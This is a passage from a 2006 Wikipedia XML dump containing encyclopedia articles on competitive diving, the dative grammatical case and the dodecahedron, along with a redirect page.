    </revision>
  </page>
  <page>
    <title>Diving</title>
    <id>8402</id>
    <revision>
      <id>42096265</id>
      <timestamp>2006-03-03T20:24:54Z</timestamp>
      <contributor>
        <username>Tailpig</username>
        <id>312490</id>
      </contributor>
      <comment>Revert to revision 42095779 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">''This article refers to the sport of jumping into water, often acrobatically, from a distance.  For swimming below the surface of the water, see [[underwater diving]].  For other meanings of the term, see [[dive]].''

'''Diving''' refers to the sport [[acrobatics|acrobatically]] jumping or falling into water.  Diving is an internationally-recognized [[sport]], which is part of the [[Olympic Games]].  In addition, unstructured and non-competitive diving is a common recreational pasttime in places where swimming is popular; sometimes the term '''jumping''' is used to disambiguate this activity from competitive diving.

While not a particularly popular participant sport, diving is one of the more popular [[Olympic Games|Olympic]] sports with spectators.  Successful competitors possess many of the same characteristics as [[gymnastics|gymnasts]], including strength, flexibility, and kinaesthetic judgment.

In the past, the success and prominence of [[Greg Louganis]] led to American strength internationally.  More recently, however, the greatest diving nation is China, which came to prominence several decades ago when the sport was revolutionized by national coach Boxi Liang and has lost few world titles since.  Other powers are generally those which import Chinese coaches, including Australia and Canada, home to the poster boy of the sport in recent years, [[Alexandre Despatie]].

==Competitive Diving==
[[Image:Diving.jpg|thumb|right|Competitive Springboard diving]]
[[Image:10MeterTower.jpg|thumb|right|Competitive Platform Diving]]

Competitive diving usually consists competing in one of three venues: one metre, three metre, and tower.  Tower, or platform diving, allows the diver to select from one of three levels - five metre, seven-and-a-half metre (called seven metre) or ten metre.  On occasion, in non-collegiate and non-Olympic environments, there are professional competitions at higher levels.

One and three meter dives are performed from a [[springboard]].  Five through ten meter dives are performed from concrete or wooden &lt;u&gt;[[Diving platforms|platforms]]&lt;/u&gt; known colloquially by divers as &quot;tower.&quot;  In most regional, national and international competitions, there are two springboard height competitions, at 1 meter and 3 meter, as well as a platform competition in which all three tower heights can be combined.  In Olympic competition, however, there is only the 3 meter springboard and the 10 meter platform.

Divers may perform a variety of dives, performing somersaults and twists in various directions and from different starting positions (see ''Components of a Dive'' below). Divers are judged on whether and how well they completed all aspects of the dive, the conformance of their body to the requirements of the nominated dive, and the amount of splash created by their entry to the water (less being better).  A perfect entry, with no splash, is called a &quot;rip,&quot; after the loud tearing or clapping sound it creates (as well as the sometimes painful bursting feeling on the hands of the diver).  Theoretically, a score out of ten is supposed to be broken down into 3 points for the takeoff, 3 for the flight, and 3 for the entry, with 1 more available to give the judges flexibility.  However, since judges must give their scores instantaneously, they base their scores more on a gut instinct and overall impression than actual calculations.

The raw score is multiplied by a difficulty factor, derived from the number and combination of movements attempted. The diver with the highest total score after a sequence of dives (which depend on age group and skill level in elite competition) is declared the winner.

While diving is closely related to gynmastics, it differs in one large way: Male and female gymansts compete vastly different skills on vastly different apparatus, while male and female divers compete the same dives on the same boards.  Women are often required to perform one less dives than men (10 as opposed to 11, or 5 as opposed to 6), but there has been a movement in recent years to change this fact.

[[Synchronized diving]] was adopted as an Olympic sport in [[2000]]. In this event, two divers form a team and attempt to perform dives simultaneously. The dives are usually identical; however, sometimes the dives may be opposites, in what is called a pinwheel.  This is an impressive spectacle, and requires great coordination between the team-mates.  In these events, synchronicity is valued as highly as technical skill.  Thus, if both divers perform their individual dives badly, but in the same way, they will still score fairly well.

===Components of a Dive and a Diving List===
A dive must be composed of one of four defined positions. They are: (A) layout or straight position--the body is, as the name implies, completely straight; (B) pike position--the body is folded in half, bent at the waist but not at the knees; (C) tuck position--the body is curled into a ball, with the knees brought up to the chin and the heels tucked against the back of the legs; or (D) free position--defined as the use of multiple positions during the flight, usually pike and layout, and used exclusively for twisting dives.  There may be any multiple of half-twist rotations and half somersault revolutions performed in these positions.

On the springboards, dives are performed in one of four directions: (1) forward or front--beginning facing forwards and rotating forwards in the air; (2) backward or back--beginning facing the board and rotating backwards; (3) reverse or gainer--beginning facing forwards but rotating backwards, back towards the board; or (4) inward-- beginning facing backwards but rotating forwards, back towards the board.  A forward or reverse dive begins with an approach (called a hurdle) moving towards the end of the diving board. A back or inward dive begins with either a standing or rocking motion by the diver standing at the end of the board and facing backwards.  However, forward and inward are in fact technically almost identical to each other, as are backward and reverse.

Dives involving a twist during the somersault may be either front, back, reverse or (rarely) inward, but are considered a fifth direction altogether.  Similarly, on platform only, dives in the front, back, or (rarely) reverse directions, with or without twist, may be performed starting from an armstand (i.e., handstand) rather than from standing on the feet. Armstand dives are considered a sixth direction.

A diver's &quot;list&quot; refers to the dives they compete.  In high level meets, athletes are required to perform dives in all five of the directions on springboard, and five of the six on platform; children may only be expected to perform three or four, and men often have to perform enough dives that they must repeat one direction.

The diver's list is divided into two halves, referred to internationally as compulsory dives and optional dives.  The compulsories are not, as the name suggests, dives strictly identified by the rules; rather, they are simply the easier dives, intended to exhibit technical mastery.  However, since there are so few to choose from and since there is a limit on the total sum of the compulsory dives' degrees of difficulty (see Degree of Difficulty), most divers around the world have the same compulsories.  The optionals are more difficult and therefore allow more freedom to show off sheer strength and skill, but given competitive standards, athletes of a similar competitive level will often have the same or very similar optionals.

All of the athletes are elite and skilful enough to perform compulsories admirably, but differences in ability become much more evident when optionals are performed. Therefore, it is not uncommon, in high level competitions, for optionals to be competed first, in preliminary rounds (as a way of separating the excellent divers from the very good ones) and compulsories to be performed only in final rounds, or for compulsories to not be done at all.

Each dive has a &quot;dive number&quot; - a code that describes its direction and number of twists and somersaults.  Note that changing the position of the dive (tuck, pike, etc.) does NOT affect the dive number. A letter (A for straight, B for pike, C for tuck, or D for free) is appended to the end of the dive number to indicate the position in which it is to be performed. In competition, all the dives an athlete competes must have different dive numbers.

===Degree of Difficulty===
Each dive performed has an inherent &quot;Degree of Difficulty,&quot; or &quot;DD.&quot; This is a numerical value in the range of 1.0 to 4.0 that is calculated based on a formula developed by [[FINA]], [[NCAA]], [[USA Diving]] or independent groups ([http://www.usadiver.com/dd_table.htm see sample DD's]).  The calculation of each dive's DD is based on the number of somersaults and twists the dive entails, the direction, the position, and the board or platform it is performed from. Currently the highest DD is 3.8 for several dives: a reverse three-and-a-half somersault in pike position from three metre springboard, a back two-and-a-half somersault with two-and-a-half twists in pike from ten metre platform, an armstand forward double somersault with two twists in pike from five metre platform, and an armstand forward triple somersault with one twist in tuck from ten metre platform (in twisting dives designated as tuck or pike position, the diver performs the actual twisting portion of the dive in a straight position, and is required to perform the solely somersaulting, non-twisting portion in the stated tuck or pike).

The total score for an individual dive is determined by adding the judges' scores once the highest and lowest have each been cut and multiplying this sum by the degree of difficulty. The score for each dive is added to give a final score, and the diver with the highest final total is the winner of the event.

===Scoring the Dive===
Ultimately, the judges' scores given on each dive are subjective. However, there are specific rules governing how a dive is supposed to be scored. Usually a score factors three elements of the dive: the approach, the flight, and the entry.  The primary factors affecting the scoring are: (1) the height of the diver at the apex of the dive, with extra height resulting in a higher score, (2) the distance of the diver from the diving apparatus throughout the dive (a diver must not be dangerously close, should not be too far away, but should ideally be within 2 feet of the board/platform), (3) the properly defined body position of the diver according to the dive being performed, including pointed toes and feet touching at all times, (4) the proper amounts of rotation and revolution upon completion of the dive and entry into the water, and (5) angle of entry (a diver should enter the water straight, without any angle).  Many judges award divers for the amount of splash created by the diver on entry, with less splash resulting in a higher score.

To reduce the subjectivity of scoring in major meets, panels of five or seven judges are assembled.  In the case where five judges are assembled, the highest and lowest scores are tossed and the middle three are summed and multiplied by the DD.  In the case where seven judges are assembled, the highest and lowest scores are tossed and the middle five are summed and multiplied by the DD.  Accordingly, it is extremely difficult for one judge panel to manipulate scores. 

There is a general misconception about scoring and judging.  In serious meets, the absolute score is somewhat meaningless.  It is the relative score, not the absolute score that wins meets.  Accordingly, good judging implies consistent scoring across the dives.  Specifically, if a judge consistently gives low scores for all divers, or consistently gives high scores for the same divers, the judging will yield fair relative results and will cause divers to place in the correct order.  However, absolute scores have significance to the individual divers.  Besides the obvious instances of setting records, absolute scores are also used for rankings and qualifications for higher level meets.

===Competitive Strategy===
To win dive meets, divers create a dive list in advance of the meet.  To win the meet the diver must accumulate more points than other divers.  Usually simple dives with low DDs will look good to spectators but will not win meets.  The competitive diver will attempt the highest DD dives possible with which they can consistently achieve scores of at least 5.  If divers are scoring 8 or 9 on most dives, it may be a sign of their extreme skill, or it may be a sign that their dive list is not competitive, and they may lose the meet to a diver with higher DD's and lower scores.

In competition, divers must submit their lists before hand, and past a certain deadline (usually when the event is announced shortly before it begins) they cannot change their dives under any circumstances.  If they fail to perform the dive announced, even if they physically cannot execute the dive announced, even if they perform a more difficult dive, they will receive a score of zero.  Under exceptional circumstances, a redive may be granted, but these are exceedingly rare (usually for very young divers just learning how to compete, or if some event outside the diver's control has caused them to be unable to perform).

There are some American meets which will allow changes even after the dive has been announced immediately before execution, but these are an exception to the rules generally observed internationally.

Generally, NCAA rules allow for dives to be changed while the diver is on the board, but the diver must request the change directly after the dive is announced.  This applies especially in cases where the wrong dive is announced.  If the diver pauses during his or her hurdle to ask for a change of dive, it will be declared a balk and the change of dive will not be permitted.

==Diving and Other Sports==
In the United States scholastic diving is almost always part of the school’s swim team.  Diving is a separate sport in [[Olympic]] and Club Diving.  The [[NCAA]] will separate diving from swimming in special diving competitions after the swim season is completed.

Divers do not consider themselves swimmers. Sometimes in High School meets, a diver must swim, but often they don't practice swimming.  While each sport shares a pool, and may compete side by side when doing so for their schools, the two sports are very different.  Swimming is about times, diving is about art; swimming is a full body exercise with emphasis on upper body strength and speed, diving is a full body exercise with emphasis on grace and execution; swimmers most frequently suffer overuse injuries, divers most frequently suffer impact injuries or strains.  And, of course, swimming takes place in the water, and diving takes place in the air.

The sister sport of diving is in fact gymnastics.  Many divers begin their training as [[gymnasts]], and switch sports for one reason or another.  Two of the most common are that they simply prefer diving, or that they develop a chronic injury that makes continuing gymnastics impossible.  [[Gymnastics]] provides young divers with unique skills that help them perform complex and risky dives.

==Diving Venues==
Divers can compete in several venues; the categories listed below refer only to diving in the United States.  Each may have age and experience limiations.

===Summer Diving===
In the United States summer diving is usually limited to one meter diving at community or country club pools.  Some pools organize to form intra-pool competitions.  These competitions are usually designed to accommodate all school-age children.  One of the largest and oldest competitions in the United States is found in the [[Washington, DC]] area where 40 to 50 pools compete against each other every summer (with over 380 divers in [[NVSL]]'s so-called called &quot;Cracker Jack&quot; meet).

===High School Diving===
In the United States scholastic diving at the high school level is usually limited to one meter diving.  Scores from those one meter dives contribute to the swim team's overall score.

In each state there are usually two high school venues.  The first is the public school competitions.  The second is the independent school venue.  In the United States public schools rarely compete with independent schools (see [[ISL]]) and almost never compete at the state championship level.

===Club Diving===
Pre-college divers interested in three meter or tower diving must join a club that is usually sanctioned by [[USA Diving]] or [[Amateur Athletic Union|AAU Diving]].  Top club divers are usually called &quot;junior olympic,&quot; or JO divers and compete nationally for &quot;[[All-American]]&quot; status.

[[USA Diving]] sanctions one East-West one and three meter event in the winter time with a Eastern champion and Western champion determined.  In the summer [[USA Diving]] sanctions a national event with tower competitions offered.  Divers over the age of 19 years of age cannot compete in these events as a JO diver.

[[Amateur Athletic Union|AAU Diving]] sanctions one national event per year in the summer.  [[Amateur Athletic Union|AAU]] competes on the one, three, and tower to determine the [[All-American]] team.  Divers who will become 19 years of age in the calendar year cannot compete in these events.

===College Diving===
In the United States scholastic diving at the college level requires one and three meter diving.  Scores from the one and three meter competition contribute to the swim team's overall meet score.  College divers interested in tower diving may compete in the [[NCAA]] separate from swim team events.  NCAA Divisions II and III do not usually compete platform; if a diver wishes to compete platform in college, he or she must attend a Division I school.

A number of colleges and universities will offer scholarships to men and women who developed competitive diving skills.  These scholarships are usually offered to divers with age-group or club experience.

The [[NCAA]] limits the number of years a college student can represent any school in competitions.  The limit is four years, but could be less under certain circumstances.

===Master Diving===
In the United States divers who continue diving past their college years can compete in Master Diving programs.  Master diving programs are frequently offered by college or club programs.

==Famous Divers==
===Olympic and World Cup Divers===
In the [[United States]], [[Hobie Billingsley]], [[Bruce Kimball]], [[Beatrice Kyle]], [[Mark Lenzi]], [[Greg Louganis]], [http://gomason.collegesports.com/sports/w-swim/mtt/mcdonald_roland00.html Roland McDonald], [[Aileen Riggin]], and [[Laura Wilkinson]] have achieved greatness.  In [[Australia]] is has been [[Rebecca Gilmore]], [[Mathew Helm]], [[Chantelle Michelle]], [[Chantelle Newbery]], [[Robert Newbery]], [[Dean Pullar]], [[Loudy Tourky]]. [[United kingdom|British]] divers include [[Leon Taylor]] and [[Peter Waterfield]].  In [[Canada]] it has been Annie Pelletier, [[Myriam Boileau]], [[Philippe Comtois]], [[Alexandre Despatie]], [[Blythe Hartley]], [[Émilie Heymans]], and [[Anne Montminy]].  In [[China]] it has been [[Fu Mingxia]], [[Gao Min]], [[Guo Jingjing]], [[Hu Jia]], [[Lao Lishi]], [[Na Li (diver)|Na Li]], [[Li Ting (diver)|Li Ting]], [[Wu Minxia]], [[Peng Bo]], [[Xue Sang]], [[Tian Liang]], [[Hailiang Xiao]], and [[Ni Xiong]].  In [[Mexico]] is it [[Rommel Pacheco]] and [[Fernando Platas]].  In [[Russia]] it has been [[Alexander Dobroskok]], [[Vera Ilina]], [[Igor Lukashin]], [[Ioulia Pakhalina]], and [[Dmitri Sautin]].

===All American College Divers===

Bill Ferry ([[University of Tennessee]]) - first [[All American]] diver for the [[University of Tennessee|Volunteers]], also four time [[Southeastern Conference|SEC]] Champion ([[1968]]-[[1972]]).

==Non-competitive Diving==
Diving is also popular as a non-competitive activity, which is often simply done for thrills.  Such diving usually emphasizes the airborne experience, and the height of the dive, but does not emphasize what goes on once the diver enters the water.  The ability to dive underwater can be a useful emergency skill, and is an important part of watersport and navy safety training. More generally, entering water from a height is an enjoyable leisure activity, as is [[underwater swimming]].

==See also==

[[Synchronized diving]]

[[Swimming]]

==Diving Links==
*[http://www.FINA.org/ FINA is the international governing body for competitive diving ].
*[http://www.NCAA.org/ NCAA is a national governing body for college diving in the United States ].
**[http://www.ncaa.org/wps/portal/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4j3CQXJgFjGpvqRqCKO6AI-YRARXwN9X4_83FR9b_0A_YLc0NCIckdFALOxkFY!/delta/base64xml/L3dJdyEvUUd3QndNQSEvNElVRS82XzBfTFU!?CONTENT_URL=http://www2.ncaa.org/portal/sports/winter/swimming_and_diving/womens/ NCAA Woman's Swimming and Diving ].
**[http://www.ncaa.org/wps/portal/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4j3CQXJgFjGpvqRqCKO6AI-YRARXwN9X4_83FR9b_0A_YLc0NCIckdFALOxkFY!/delta/base64xml/L3dJdyEvUUd3QndNQSEvNElVRS82XzBfTFU!?CONTENT_URL=http://www2.ncaa.org/portal/sports/winter/swimming_and_diving/mens/ NCAA Men's Swimming and Diving ].
*[http://www.aaudiving.org/ AAU Diving - a national governing body of age-group diving in the United States ].
*[http://www.usadiving.org/ USA Diving is also a national governing body of age-group diving in the United States ].
*[http://diving.on-topic.net/ Diving Topics]
*[http://www.flipnrip.com/ Flip and Rip is a communitity resource for competitive divers worldwide ].
*[http://nvsldive.nvpools.com/core/core/domain/nvsldive/ NVSL Diving - Washington DC area summer diving league - one of the largest and oldest in the nation ].
*[http://www.usadiver.com/ Diving resource - USA Diver.com]
*[[Diving at the 2004 Summer Olympics]]
*[http://www.diving.ca/ Diving.ca is the home of the Canadian Amateur Diving Association].

[[Category:Competitive diving]]
[[Category:Divers]]
[[Category:Diving at the Olympics]]
[[Category:American divers]]
[[Category:Diving competitions]]
[[Category:Diving]]

[[fi:Uimahypyt]]
[[pl:Skoki do wody]]</text>
    </revision>
  </page>
  <page>
    <title>Dative</title>
    <id>8405</id>
    <revision>
      <id>15906406</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dative case]]
</text>
    </revision>
  </page>
  <page>
    <title>Dative case</title>
    <id>8406</id>
    <revision>
      <id>40587219</id>
      <timestamp>2006-02-21T17:24:54Z</timestamp>
      <contributor>
        <username>Stephan Schneider</username>
        <id>434159</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">{{Table Cases}}
The '''dative case''' is a [[declension|grammatical case]] generally used to indicate the [[noun]] to whom something is given. The name is derived from the [[Latin language|Latin]] ''dativus'', meaning &quot;appropriate to giving&quot;. The thing being given may be a tangible object&amp;mdash;such as &quot;a book&quot; or &quot;a pen&quot;&amp;mdash;or it may be an intangible abstraction, such as &quot;an answer&quot; or &quot;help&quot;. The dative generally marks the [[indirect object]] of a [[verb]], although in some instances, the dative is used for the [[direct object]] of a verb pertaining directly to an act of giving something.

In certain languages, the dative case has assimilated the functions of other now-extinct cases. Dative also marks [[possession]] in [[Greek language|Classical Greek]], which has lost the [[locative case|locative]] and [[instrumental case]]s. The dative assumed their functions. In [[Scottish Gaelic language|Scottish Gaelic]], the dative case is used by nouns following simple [[preposition]]s and the definite article. In [[Georgian language|Georgian]], the dative case also marks the subject of the sentence in some verbs and some tenses. This is also called the [[Dative construction|dative construction]]. 

The dative was common among early [[Indo-European languages]] and has survived to the present in the [[Balto-Slavic languages|Balto-Slavic]] branch and the [[Germanic languages|Germanic]] branch, among others. It also exists in similar forms in several non&amp;#8211;Indo-European languagues, such as the [[Finno-Ugric languages|Finno-Ugric]] family of languages and [[Japanese language|Japanese]].

Languages that use or used the dative case include:
*[[Albanian language|Albanian]]
*[[Bosnian language|Bosnian]]
*[[Croatian language|Croatian]]
*[[Czech language|Czech]]
*[[Dutch language|Dutch]]
*[[Old English language|Old English]] (Anglo-Saxon)
*[[Faroese language|Faroese]]
*[[French language|French]] (extremely limited)
*[[Georgian language|Georgian]]
*[[German language|German]]
*[[Greek language|Ancient Greek]] (and occasionally Modern Greek)
*[[Hungarian language|Hungarian]]
*[[Icelandic language|Icelandic]]
*[[Irish language|Irish]]
*[[Latin language|Latin]]
*[[Latvian language|Latvian]]
*[[Lithuanian language|Lithuanian]]
*[[Livonian language|Livonian]]
*[[Polish language|Polish]]
*[[Romanian language|Romanian]]
*[[Russian language|Russian]]
*[[Sanskrit language|Sanskrit]]
*[[Serbian language|Serbian]]
*[[Serbo-Croatian language|Serbo-Croatian]]
*[[Scottish Gaelic language|Scottish Gaelic]]
*[[Slovak language|Slovak]]
*[[Slovenian language|Slovenian]]
*[[Ukrainian language|Ukrainian]]
*[[Yiddish language|Yiddish]]

==The dative case in English==
The [[Old English language|Old English]] language, current until approximately the time of the [[Norman Conquest]] in [[1066]], had a dative case; however, the English case system gradually fell into disuse during the [[Middle English]] period, when the accusative and dative pronouns merged into a single [[objective (grammar)|objective]] pronoun used in both roles. This merging of accusative and dative functionality in Middle and Modern English has led most modern grammarians to discard the &quot;accusative&quot; and &quot;dative&quot; labels in English as obsolete, in favor of the term &quot;objective&quot;.

While the dative case is no longer a part of modern English usage, it survives in a few set expressions. One good example is the word &quot;methinks&quot;, with the meaning &quot;it seems to me&quot;. It survives in this fixed form from the days of Old English (having undergone, however, phonetic changes with the rest of the language), in which it was constructed as &quot;me&quot; (the dative case of the personal pronoun) + &quot;thinks&quot; (&quot;to seem&quot;, a verb closely related to the verb &quot;to think&quot;, but distinct from it in Old English; later it merged with &quot;to think&quot; and lost this meaning).

The pronoun [[whom]] is also a remnant of the dative case in English, descending from the Old English dative pronoun &quot;hw&amp;#257;m&quot; (as opposed to the nominative &quot;who&quot;, which descends from Old English &quot;hw&amp;#257;&quot;) &amp;mdash; though &quot;whom&quot; ''also'' absorbed the functions of the Old English [[accusative case|accusative]] pronoun &quot;hwone&quot;. Likewise, &quot;him&quot; is a remnant of both the Old English dative &quot;him&quot; and accusative &quot;hine&quot;, &quot;her&quot; serves for both Old English dative &quot;hire&quot; and accusative &quot;h&amp;#299;e&quot;, etc.

In current English usage, the indirect object of an action is sometimes expressed with a [[prepositional phrase]] of &quot;to&quot; or &quot;for&quot;, though an [[objective pronoun]] can also be placed directly after the main verb and used in a dative manner, provided that the verb has a direct object as well; for example, &quot;He gave that to me&quot; can also be phrased as &quot;He gave me that&quot;, and &quot;He built a snowman for me&quot; can also be rendered as &quot;He built [for] me a snowman&quot;. In both examples, the generic objective pronoun &quot;me&quot; functions as a dative pronoun does in languages which still retain distinct accusative and dative cases.

==The dative case in German==
The dative is generally used to mark the [[indirect object]] of a [[German language|German]] sentence. Certain German prepositions require the dative:  ''aus'', ''außer'', ''bei'', ''mit'', ''nach'', ''seit'', ''von'', ''zu'' and ''gegenüber'' (a sequence that may be remembered by singing them to the main tune of [[The Blue Danube]] as a [[mnemonic]] device). Other prepositions (e.g. ''auf'', ''an'', ''unter''&quot;) may be used with dative (indicating current location), or accusative (indicating direction towards something).  ''Das Buch steht auf dem (''dative'') Tisch'' but ''Ich stelle das Buch auf den (''accusative'') Tisch''.

Note that the concept of an indirect object may be rendered by a prepositional phrase.  In this case, the noun or pronoun's case is determined by the preposition, NOT by its function in the sentence. Consider this sentence: 
*''Ich gebe das Buch zum Kassierer'' 'I give the book to the cashier.' 
Here, the [[subject (grammar)|subject]], ''Ich'', is in the [[nominative case]]; the direct object, ''das Buch'', is in the [[accusative case]], and ''zum Kassierer'' is in the dative case, since ''zu'' always requires the dative. (''Zum'' is a contraction of ''zu'' + ''dem''.)  However:
*''Ich habe das Buch an meinen Freund (''accusative'') geschenkt.''  'I gave the book to my friend.' (''schenken''=&quot;to give as a gift&quot;)  

In this sentence, ''Freund'' would seem to be the indirect object, but because it follows ''an'' (direction), the accusative is required, not the dative.

Some German verbs require the dative for their [[direct object]]s.  Common examples include ''folgen'', ''helfen'' and ''antworten''. In each case, the direct object of the verb is rendered in dative.

==The dative case in Latin==
Except the main case (''Dativus''), there are 3 other kinds:
* ''Dativus finalis'' with the meaning of purpose, e.g. ''auxilio vocare'' - &quot;to call for help&quot;, ''venio auxilio'' - &quot;I'm coming for help&quot;, ''accipio dono'' - &quot;I receive this as a gift&quot; or ''puellae ornamento est'' - &quot;this serves for the girl's decoration&quot;;
* ''Dativus commodi (incommodi)'', which means action for somebody, e.g. ''Graecis agros colere'' - &quot;to till fields for Greeks&quot;; Combination of Dativus commodi and finalis (double Dative): ''tibi laetitiae'' &quot;for your joy&quot;
* ''Dativus possesivus'' which means possession, e.g. ''angelis alae sunt'' - &quot;the angels have  wings&quot;.
* ''Dativus ethicus'' 
* ''Dativus auctoris''

==Greek==
&lt;!--examples needed--&gt;
* ''Dativus finalis''
* ''Dativus commodi (incommodi)''
* ''Dativus possesivus''
* ''Dativus ethicus'' 
* ''Dativus auctoris''
*''Dativus instrumenti''
*''Dativus modi''
*''Dativus mensurae''

==See also==
* [[Declension in English]]
* [[Dative construction]]

==External links==
* [http://www.russianlessons.net/grammar/nouns_dative.php Dative Case in Russian]

[[Category:Grammatical cases]]

[[cs:Dativ]]
[[de:Dativ]]
[[es:Caso dativo]]
[[eo:Dativo]]
[[fr:Datif]]
[[gl:Dativo]]
[[hr:Dativ]]
[[is:Þágufall]]
[[it:Dativo]]
[[nl:Datief]]
[[ja:与格]]
[[pl:Celownik (przypadek)]]
[[ro:Cazul dativ]]
[[sr:Датив]]
[[fi:Datiivi]]
[[sv:Dativ]]
[[zh:与格]]</text>
    </revision>
  </page>
  <page>
    <title>Dodecahedron</title>
    <id>8407</id>
    <revision>
      <id>42163302</id>
      <timestamp>2006-03-04T06:04:11Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <comment>Reg polyhedra db</comment>
      <text xml:space="preserve">{{Reg polyhedra db|Platonic polyhedron stat table|D}}
A '''dodecahedron''' is literally a [[polyhedron]] with 12 faces, but usually a '''regular dodecahedron''' is meant: a [[Platonic solid]] composed of twelve [[pentagon]]al faces, with three meeting at each vertex. It has twenty vertices and thirty edges. Its [[dual polyhedron]] is the [[icosahedron]]. 
__TOC__
[[image:dodecahedron flat.png]]

== Area and volume ==

The area ''A'' and the [[volume]] ''V'' of a regular dodecahedron of edge length ''a'' are:
:&lt;math&gt;A=3\sqrt{25+10\sqrt5}a^2&lt;/math&gt;
:&lt;math&gt;V=\begin{matrix}{1\over4}\end{matrix}(15+7\sqrt5)a^3&lt;/math&gt;

== Cartesian coordinates ==
The following [[Cartesian coordinates]] define the vertices of a dodecahedron centered at the origin:
: (±1, ±1, ±1)
: (0, ±1/&amp;phi;, ±&amp;phi;)
: (±1/&amp;phi;, ±&amp;phi;, 0)
: (±&amp;phi;, 0, ±1/&amp;phi;)
where &amp;phi; = (1+&amp;radic;5)/2 is the [[golden ratio]] (also written &amp;tau;).

The [[dihedral angle]] of a dodecahedron is approximately 116.565 degrees.

== Geometric relations ==

The ''regular dodecahedron'' is the third in an infinite set of [[truncated trapezohedron|truncated trapezohedra]] which can be constructed by truncating the two axial vertices of a [[pentagonal trapezohedron]].

Five [[cube]]s can be made from these, with their edges as diagonals of the dodecahedron's faces, and together these make up the regular [[polyhedral compound]] of five cubes. Since two tetrahedra can fit on alternate cube vertices, five and ten tetrahedra can also fit in a dodecahedron.

[[Image:Compound of five cubes.png|100px|five cubes]]
[[Image:Compound of five tetrahedra.png|100px|five tetrahedra]]
[[Image:Compound of ten tetrahedra.png|100px|ten tetrahedra]]

The [[stellation]]s of the dodecahedron make up three of the four [[Kepler-Poinsot solid]]s.

===Icosahedron vs dodecahedron===

Despite appearances, when a dodecahedron is inscribed in a [[sphere]], it occupies more of the sphere's volume (66.49%) than an [[icosahedron]] inscribed in the same sphere (60.54%).

A regular dodecahedron with edges length 1 has more than three and a half times the volume of an [[icosahedron]] with the same length edges (7.663... compared with 2.181...).

== Other dodecahedra ==

The term dodecahedron is also used for other [[polyhedron|polyhedra]] with twelve faces, most notably the [[rhombic dodecahedron]] which is dual to the [[cuboctahedron]] and occurs in nature as a crystal form.  The normal dodecahedron is sometimes called the pentagonal dodecahedron to distinguish it.

Other dodecahedra include:
* Congruent faces: (Face-uniform)
*# [[hexagon]]al [[bipyramid]] - 12 isosceles [[triangle]]s, dual to [[hexagonal prism]]
*# [[hexagonal trapezohedron]] - 12 [[kite]]s, dual to [[hexagonal antiprism]]
*# [[triakis tetrahedron]] - 12 isosceles [[triangle]]s, dual to [[truncated tetrahedron]]
*# [[rhombic dodecahedron]] - 12 [[rhombus|rhombi]], dual to [[cuboctahedron]]
* Mixed faces:
*# [[hendecagon]]al [[pyramid (geometry)|pyramid]] - 11 isosceles triangles and 1 [[polygon|hendecagon]]
*# [[pentagonal antiprism]] - 10 equilateral triangles, 2 pentagons 
*# [[decagon]]al [[prism (geometry)|prism]] - 10 squares, 2 decagons 
*# [[pentagonal cupola]] - 5 triangles, 5 squares, 1 pentagon, 1 decagon
*# [[trapezo-rhombic dodecahedron]] - 6 rhombi, 6 [[trapezoid]]s - dual of [[Triangular orthobicupola]]
*# [[rhombo-hexagonal dodecahedron]] or ''Elongated Dodecahedron'' - 8 rhombi and 4 equilateral [[hexagon]]s.

== Uses ==
* If each edge of a dodecahedron are replaced by one [[ohm]] [[resistor]]s, the resistance between opposite vertices is 7/6 ohms, and 19/30 ohm between adjacent vertices.
* Especially in [[roleplaying]], this solid is known as a [[dice#Non-cubical dice|d12]], one of the more common polyhedral [[Dice|die]].

== Cultural connections to regular dodecahedra ==
* Also an [[Aphex Twin]] song.
* The Dodecahedron was a character in [[Norton Juster|Norton Juster's]] book ''[[The Phantom Tollbooth]].''
* The shape of the Machine in [[Carl Sagan|Carl Sagan's]] novel ''[[Contact (novel)|Contact]]'' is that of a dodecahedron.
* Appeared in [[The Simpsons]] as a word that [[Lisa Simpson]] was teaching to [[Maggie Simpson]].
* The Dodecahedron was the mysterious power source for an underground city in the [[Doctor Who]] episode ''Meglos.''
*  The 20 vertices and 30 edges of a dodecahedron form the basic [[graph theory|map]] for a computer game called [[Hunt The Wumpus]].
* It has been postulated that certain phenomena can best be explained if the [[universe]] is finite and shaped like a dodecahedron.  This view is not widely accepted.
* Mentioned in the [[Clutch (band)|Clutch]] song Mice &amp; Gods.

==See also==
*[[:Image:Dodecahedron.gif|Spinning dodecahedron]]
*[[Truncated dodecahedron]]
*[[Hamiltonian path]]
*[[Hunt the Wumpus]]
*[[Dodecaeder]]

==External links==
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.mathsisfun.com/geometry/dodecahedron.html Spinning Dodecahedron] Math Is Fun
*[http://www.artabus.com/calendar.php Dodecahedron calendar]
*[http://www.korthalsaltes.com/ Paper Models of Polyhedra] Many links
*[http://www.ii.uib.no/~arntzen/kalender/ 12 sided calendar] Create, print and fold a 12 sided calendar as either a dodecahedron or a [[rhombic dodecahedron]]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra
** [[VRML]] models
*# [http://www.georgehart.com/virtual-polyhedra/vrml/dodecahedron.wrl Regular dodecahedron] regular
*# [http://www.georgehart.com/virtual-polyhedra/vrml/rhombic_dodecahedron.wrl Rhombic dodecahedron] quasiregular 
*# [http://www.georgehart.com/virtual-polyhedra/vrml/decagonal_prism.wrl Decagonal prism] vertex-uniform
*# [http://www.georgehart.com/virtual-polyhedra/vrml/pentagonal_antiprism.wrl Pentagonal antiprism] vertex-uniform
*# [http://www.georgehart.com/virtual-polyhedra/vrml/hexagonal_dipyramid.wrl Hexagonal dipyramid] face uniform
*# [http://www.georgehart.com/virtual-polyhedra/vrml/triakistetrahedron.wrl Triakis tetrahedron] face-uniform
*# [http://www.georgehart.com/virtual-polyhedra/vrml/hexagonal_trapezohedron.wrl hexagonal trapezohedron] face-uniform
